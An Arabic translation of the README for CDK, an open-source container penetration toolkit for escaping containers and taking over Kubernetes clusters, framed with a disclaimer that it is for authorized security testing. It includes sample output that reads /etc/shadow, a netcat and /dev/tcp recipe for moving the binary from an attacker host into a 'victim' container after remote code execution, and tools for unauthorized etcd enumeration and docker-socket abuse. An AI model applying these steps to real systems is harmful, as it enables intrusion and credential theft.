CDK - مجموعة أدوات اختراق الحاويات بدون تبعيات

الإنجليزية | 简体中文

إخلاء مسؤولية قانوني

استخدام CDK لمهاجمة أهداف دون موافقة مسبقة متبادلة غير قانوني. CDK مخصص لأغراض اختبار الأمان فقط.

نظرة عامة

CDK هي مجموعة أدوات مفتوحة المصدر لاختراق الحاويات، مصممة لتوفير استغلال مستقر في حاويات مختلفة مبسطة دون أي اعتماد على نظام التشغيل. تأتي مع أدوات شبكة مفيدة والعديد من البراهين/الاستغلالات القوية وتساعدك على الهروب من الحاوية والسيطرة على مجموعة K8s بسهولة.

بداية سريعة

شغّل cdk eva للحصول على معلومات التقييم واستغلال موصى به، ثم شغّل cdk run لبدء الهجوم.

> ./cdk eva --full

[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.

> ./cdk run cap-dac-read-search

Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::

التثبيت/التسليم

قم بتنزيل أحدث إصدار من https://github.com/cdk-team/CDK/releases/

ضع الملفات التنفيذية في الحاوية الهدف وابدأ الاختبار.

نصائح: تسليم CDK إلى الحاوية الهدف في اختبار الاختراق الفعلي

إذا كان لديك استغلال يمكنه تحميل ملف، فيمكنك تحميل ملف CDK الثنائي مباشرة.

إذا كان لديك استغلال RCE، ولكن الحاوية الهدف لا تحتوي على curl أو wget، فيمكنك استخدام الطريقة التالية لتسليم CDK:

1. أولاً، استضف ملف CDK الثنائي على مضيفك بعنوان IP عام.

(على مضيفك)
nc -lvp 999 < cdk

2. داخل الحاوية الضحية، قم بتنفيذ

cat < /dev/tcp/(عنوان_ip_العام_لمضيفك)/(المنفذ) > cdk
chmod a+x cdk

الاستخدام

Usage:
  cdk evaluate [--full]
  cdk run (--list | <exploit> [<args>...])
  cdk <tool> [<args>...]

Evaluate:
  cdk evaluate                              Gather information to find weakness inside container.
  cdk evaluate --full                       Enable file scan during information gathering.

Exploit:
  cdk run --list                            List all available exploits.
  cdk run <exploit> [<args>...]             Run single exploit, docs in https://github.com/cdk-team/CDK/wiki

Tool:
  vi <file>                                 Edit files in container like "vi" command.
  ps                                        Show process information like "ps -ef" command.
  nc [options]                              Create TCP tunnel.
  ifconfig                                  Show network information.
  kcurl <path> (get|post) <uri> <data>      Make request to K8s api-server.
  ectl <endpoint> get <key>                 Unauthorized enumeration of ectd keys.
  ucurl (get|post) <socket> <uri> <data>    Make request to docker unix socket.
  probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000

Options:
  -h --help     Show this help msg.
  -v --version  Show version.
  --profile=<name> Select evaluation profile.

الميزات

يحتوي CDK على ثلاث وحدات:

1. التقييم: جمع المعلومات داخل الحاوية للعثور على نقاط الضعف المحتملة.
2. الاستغلال: هروب الحاوية، الثبات والحركة الجانبية.
3. الأداة: أدوات الشبكة وواجهات برمجة التطبيقات لطلبات TCP/HTTP والأنفاق وإدارة مجموعة K8s.

وحدة التقييم

الاستخدام

cdk evaluate [--full]

وحدة الاستغلال

قائمة بجميع الاستغلالات المتاحة:

cdk run --list

تشغيل استغلال مستهدف:

cdk run <اسم-النص> [خيارات]

ملاحظة حول Thin: إصدار thin مُعد للحاويات قصيرة العمر مثل وظائف serverless. نضيف علامات بناء في الكود المصدري ونقص بعض الاستغلالات لجعل الملف الثنائي أخف. يحتوي ملف الـ 2MB على 90% من وظائف CDK، كما يمكنك اختيار استغلالات مفيدة من كود CDK المصري لبناء ثنائي خفيف خاص بك.

وحدة الأداة

تشغيل الأوامر كما في لينكس، مع اختلاف طفيف في وسائط الإدخال، راجع رابط الاستخدام.

cdk nc [خيارات]
cdk ps

وثيقة الإصدار

إذا كنت تريد معرفة كيف أصدرنا إصدارًا جديدًا، وكيف يتم إنتاج thin، ولماذا نقدم إصدارات upx، وما الفروق بين الإصدارات المختلفة (all, normal, thin, upx)، وكيفية اختيار استغلالات وأدوات CDK محددة لتجميع إصدار خاص بك، يرجى مراجعة وثيقة الإصدار.

وثائق المطور

• تشغيل الاختبار في الحاوية.

المساهمة في CDK

أولاً، شكرًا على الوقت الذي خصصته للمساهمة!

شكرًا للمساهمين التاليين:

المزيد من المساهمين: قائمة المساهمين

الإبلاغ عن الأخطاء

يتم تتبع الأخطاء كـ مشكلات GitHub. أنشئ مشكلة تتضمن إصدار CDK الحالي ورسالة الخطأ والبيئة. صف الخطوات الدقيقة التي تعيد إنتاج المشكلة.

اقتراح التحسينات

يتم تتبع اقتراحات التحسين كـ مناقشات GitHub. يمكنك نشر أي أفكار هنا لمناقشة المطورين مباشرة.

طلبات السحب (Pull Requests)

إصلاح المشكلات أو الحفاظ على جودة CDK:

• صف إصدار CDK الحالي والبيئة والمشكلة والخطوات الدقيقة التي تعيد إنتاج المشكلة.
• لقطات شاشة أو سجلات قبل وبعد إصلاح المشكلة.

ميزة جديدة أو استغلالات:

• اشرح لماذا سيكون هذا التحسين مفيدًا للمستخدمين الآخرين.
• يرجى توفير بيئة مستدامة لنا لمراجعة المساهمات.
• لقطات شاشة حول كيفية عمل هذه الميزة الجديدة.
• إذا كنت تقدم برامج تقييم/استغلال جديدة، يرجى إضافة وثيقة بسيطة إلى رسالة PR الخاصة بك، إليك مثال.

الأحداث

404StarLink 2.0 - Galaxy

مشروع CDK أصبح الآن مضمنًا في مشروع 404Team Starlink Project 2.0. انضم إلى مجتمع StarLink للتواصل مع فريق تطوير CDK.

• https://github.com/knownsec/404StarLink2.0-Galaxy#community

BlackHat Asia 2021 Arsenal

• https://www.blackhat.com/asia-21/arsenal/schedule/index.html#cdk-zero-dependency-container-penetration-toolkit-22422

HITB SecConf 2021 Amsterdam

• إيجاز: "Attack Cloud Native Kubernetes"

WHC 2021 (补天白帽大会)

• CDK: Also a Awesome BugBounty Tool for Cloud Platform

KCON 2021 Arsenal

• http://kcon.knownsec.com/2021/#/arsenal

Kubernetes community Days 2021

• https://community.cncf.io/events/details/cncf-kcd-china-presents-kubernetes-community-days-china/